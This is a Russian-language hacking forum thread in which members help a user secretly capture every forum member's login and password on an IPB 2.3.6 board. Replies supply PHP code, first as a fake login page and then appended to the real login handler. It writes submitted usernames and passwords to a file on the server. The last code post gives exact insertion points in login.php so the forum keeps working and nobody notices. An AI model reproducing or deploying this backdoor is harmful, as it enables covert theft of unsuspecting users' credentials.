ipb форма входа

Discussion in 'Песочница' started by {BuT@Min}, 21 Jan 2010.

  1. {BuT@Min}

    {BuT@Min} Elder - Старейшина

    Joined:
    23 Nov 2006
    Messages:
    43
    Likes Received:
    5
    Reputations:
    -1
    Подскажите как к ipb 2.3.6 можно прикрутить к форме входа скрипт которы бы сохранял логин и пароль в отдельный файл,но при этом и заходил на форум.Если мона скрипт или ссылку на что нить подобное.Заранее благодарен за ответы. :confused:
     
    1 person likes this.
  2. DeepBlue7

    DeepBlue7 Elder - Старейшина

    Joined:
    2 Jan 2009
    Messages:
    359
    Likes Received:
    50
    Reputations:
    12
    Просто замути фейк. В index.php измени скрипт, к которому будет обращатся форма входа например на exploit.php и пропиши туда

    Code:
    <?php
    $login = $_POST['login'];
    $pass = $_POST['pass'];
    $fp = fopen('fadsa.php', 'a+');
    fwrite($fp, "$login:$pass<br>");
    fclose($fp);
    
    header("Location: success.php");
    ?>
    Тоесть $login, $pass пропишется в файл fadsa.php на веб сервере. После того как пользователь ввел логин и пароль он будет перенаправлен на success.php
     
  3. {BuT@Min}

    {BuT@Min} Elder - Старейшина

    Joined:
    23 Nov 2006
    Messages:
    43
    Likes Received:
    5
    Reputations:
    -1
    Да в том и дело что мне фейк не нужен а нужно чтобы форум фунционировая и никто ничего не замечал))) я когда то видел что то подобное под dle
     
  4. apolon47

    apolon47 Banned

    Joined:
    13 Apr 2009
    Messages:
    119
    Likes Received:
    14
    Reputations:
    4
    Посмотри какие POST параметры передает скрипт, куда передает. Оттуда и копай
     
  5. {BuT@Min}

    {BuT@Min} Elder - Старейшина

    Joined:
    23 Nov 2006
    Messages:
    43
    Likes Received:
    5
    Reputations:
    -1
    мнеб конкретики я в php не силён *(
     
  6. DeepBlue7

    DeepBlue7 Elder - Старейшина

    Joined:
    2 Jan 2009
    Messages:
    359
    Likes Received:
    50
    Reputations:
    12
    Ну тогда просто тупо "Дописываеш"

    Code:
    <?php
    $login = $_POST['login'];
    $pass = $_POST['pass'];
    $fp = fopen('fadsa.php', 'a+');
    fwrite($fp, "$login:$pass<br>");
    fclose($fp);
    
    ?>
    в скрипт который реально обрабатывает данные. единственное отличие только в
    Code:
    $login = $_POST['login'];
    $pass = $_POST['pass'];
    В post надо прописать те же значения которые реально использует форум.
     
    #6 DeepBlue7, 22 Jan 2010
    Last edited: 22 Jan 2010
    2 people like this.
  7. {BuT@Min}

    {BuT@Min} Elder - Старейшина

    Joined:
    23 Nov 2006
    Messages:
    43
    Likes Received:
    5
    Reputations:
    -1
    Так всётаки понятней)))) Спасибо
     
  8. DeepSy

    DeepSy New Member

    Joined:
    17 Jan 2010
    Messages:
    0
    Likes Received:
    1
    Reputations:
    0
    Значения все?
    а то чо то не получается(
     
    1 person likes this.
  9. {BuT@Min}

    {BuT@Min} Elder - Старейшина

    Joined:
    23 Nov 2006
    Messages:
    43
    Likes Received:
    5
    Reputations:
    -1
    Открываеш sources\action_public там файл login.php

    Находиш
    PHP:
    username strtolower(str_replace'|''|'$this->ipsclass->input['UserName']) );
    Ниже вставляеш

    PHP:
              $login $_POST['UserName'];
    потом ищеш
    PHP:
    $this->han_login->login_authenticate$username$this->ipsclass->input['PassWord'] ); 
    ниже вставляеш

    PHP:
    $pass $_POST['PassWord'];
                
    $fp fopen('ИМЯ_ФАЙЛА.php''a+');
                
    fwrite($fp"$login:$pass<br>");
                
    fclose($fp);
    всё.
    ИМЯ ФАЙЛА надо изменит на тот который у тебя,в корневой деректории
     
  10. DeepBlue7

    DeepBlue7 Elder - Старейшина

    Joined:
    2 Jan 2009
    Messages:
    359
    Likes Received:
    50
    Reputations:
    12
    Ну на конец то доперли. Наверн можно тему закрывать ))